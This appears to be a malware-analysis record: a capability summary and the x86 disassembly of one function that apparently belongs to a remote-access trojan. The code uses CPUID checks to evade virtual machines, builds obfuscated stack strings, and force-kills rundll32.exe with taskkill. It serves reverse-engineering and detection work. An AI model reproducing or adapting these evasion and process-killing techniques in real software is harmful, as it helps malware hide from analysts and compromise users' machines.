Function at 0x10003fb0
Capabilities:
Contain obfuscated stackstrings
Create thread
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x15fc
call fcn.1001e7c0
mov eax, dword [0x1002d00c]
xor eax, esp
mov dword [esp + 0x15f8], eax
push ebx
push esi
push edi
mov dword [esp + 0x10], 0
mov eax, 1
cpuid
mov dword [esp + 0x10], edx
mov eax, dword [esp + 0x10]
cmp eax, 0x17cbfbff
je 0x10004429
cmp eax, 0x178bfbff
je 0x10004429
call fcn.1000b940
push 0x5c
lea eax, [esp + 0x3c]
push 0
push eax
call fcn.1000e720
add esp, 0xc
lea ecx, [esp + 0x38]
call fcn.100010a0
cmp dword [0x1002d964], 0
je 0x100040ec
push 0xfac
lea eax, [esp + 0xa4]
push 0
push eax
call fcn.1000e720
mov esi, dword [sym.imp.KERNEL32.dll_CreateEventA]
lea eax, [esp + 0x44]
add esp, 0xc
mov dword [esp + 0x9c], eax
lea eax, [esp + 0x98]
mov dword [esp + 0x98], vtable.CManager.0
mov dword [esp + 0x90], eax
push 0
push 0
push 1
push 0
call esi
push 0
push 0
push 0
push 0
mov dword [esp + 0xb0], eax
mov dword [esp + 0xa8], vtable.CKernelManager.0
mov dword [esp + 0x1054], 0
mov dword [esp + 0x24], 0x100049d0
mov dword [esp + 0x28], 0
call esi
push 0
push 0
mov dword [esp + 0x28], eax
lea eax, [esp + 0x1c]
push eax
push 0x10007900
push 0
push 0
call fcn.10013489
add esp, 0x18
push 0xffffffffffffffff
push dword [esp + 0x24]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [esp + 0x20]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x98]
call fcn.10006500
cmp dword [0x1002f3b0], 0
je 0x10004100
push 0x10003f20
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
cmp dword [0x1002dbb4], 1
jne 0x1000410e
call fcn.10008c70
cmp dword [0x1002dbb8], 1
jne 0x10004124
call fcn.10008d50
test eax, eax
jne 0x10004429
cmp dword [0x1002dbbc], 1
jne 0x1000413a
call fcn.10008dc0
test al, al
jne 0x10004429
cmp dword [0x1002dbc0], 1
jne 0x10004148
call fcn.10009060
cmp dword [0x1002dbd8], 1
jne 0x10004188
lea ecx, [esp + 0x14]
mov dword [esp + 0x14], 0x646e7572
mov dword [esp + 0x18], 0x32336c6c
mov dword [esp + 0x1c], 0x6578652e
mov byte [esp + 0x20], 0
call fcn.1000a3b0
test eax, eax
je 0x10004188
push 0
push str.taskkill__f__im_rundll32.exe
call dword [0x1002e13c]
cmp dword [0x1002dbe4], 1
mov edi, dword [sym.imp.KERNEL32.dll_GetLocalTime]
jne 0x100041c4
lea eax, [esp + 0x28]
push eax
call edi
movzx eax, word [esp + 0x34]
mov ecx, 0x2d
cmp ecx, eax
sbb esi, esi
and esi, 0xffffffcb
add esi, 8
add esi, eax
lea eax, [esp + 0x28]
push eax
call edi
movzx eax, word [esp + 0x34]
cmp eax, esi
jne 0x100041b4
push 0x400
lea eax, [esp + 0x1204]
mov word [esp + 0x28], 0x7325
push 0
push eax
mov byte [esp + 0x32], 0
call fcn.1000e720
add esp, 0xc
lea eax, [esp + 0x24]
push 0x1002d968
push eax
push 0x1002d968
call fcn.10002010
add esp, 0xc
mov dword [esp + 0x1068], 0x6e6e6f43
lea eax, [esp + 0x1200]
mov dword [esp + 0x106c], 0x47746365
lea edx, [esp + 0x1068]
mov dword [esp + 0x1070], 0x70756f72
mov ecx, 0x1002d968
mov byte [esp + 0x1074], 0
push 0x400
push eax
call fcn.10002050
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [esp + 0x1208]
add esp, 8
push eax
call esi
test eax, eax
jne 0x1000426b
mov edx, 0x1002d8fd
mov ecx, 0x1002d968
call fcn.10005910
push 0x64
lea eax, [esp + 0x1094]
mov dword [esp + 0x1054], 0x6b72614d
push 0
push eax
mov dword [esp + 0x1060], 0x656d6954
mov byte [esp + 0x1064], 0
call fcn.1000e720
add esp, 0xc
lea eax, [esp + 0x1090]
lea edx, [esp + 0x1050]
mov ecx, 0x1002d968
push 0x64
push eax
call fcn.10002050
add esp, 8
lea eax, [esp + 0x1090]
push eax
call esi
test eax, eax
jne 0x100043e5
lea eax, [esp + 0x28]
push eax
call edi
push 0x104
lea eax, [esp + 0x10fc]
push 0
push eax
call fcn.1000e720
movzx eax, word [esp + 0x3e]
add esp, 0xc
movaps xmm0, xmmword [0x10029bb0]
movups xmmword [esp + 0x1078], xmm0
mov dword [esp + 0x1088], 0x253a6432
push eax
movzx eax, word [esp + 0x34]
push eax
movzx eax, word [esp + 0x36]
push eax
movzx eax, word [esp + 0x36]
push eax
movzx eax, word [esp + 0x38]
push eax
lea eax, [esp + 0x108c]
mov dword [esp + 0x10a0], 0x64322e
push eax
lea eax, [esp + 0x1110]
push eax
call fcn.10002010
add esp, 0x1c
mov dword [esp + 0x105c], 0x6b72614d
lea eax, [esp + 0x98]
mov dword [esp + 0x1060], 0x656d6954
mov byte [esp + 0x1064], 0
push 0x400
push 0
push eax
call fcn.1000e720
add esp, 0xc
mov dword [esp + 0x14], 0x6e69614d
lea eax, [esp + 0x14]
mov dword [esp + 0x18], 0x5c6c6c44
mov word [esp + 0x1c], 0x7325
mov byte [esp + 0x1e], 0
push 0x1002d968
push eax
lea eax, [esp + 0xa0]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [esp + 0x10f8]
push 0
push eax
call esi
push eax
lea eax, [esp + 0x1100]
mov ecx, connect
push eax
lea eax, [esp + 0x1068]
push 1
push eax
lea edx, [esp + 0xac]
call fcn.10008250
add esp, 0x14
mov al, byte [0x1002d8bc]
test al, al
jne 0x100043f5
call fcn.10003350
jmp 0x10004409
cmp al, 1
jne 0x10004400
call fcn.10003610
jmp 0x10004409
cmp al, 2
jne 0x10004409
call fcn.10003980
lea ecx, [esp + 0x38]
call fcn.100011c0
mov ecx, dword [esp + 0x1604]
xor eax, eax
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.1000c111
mov esp, ebp
pop ebp
ret
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]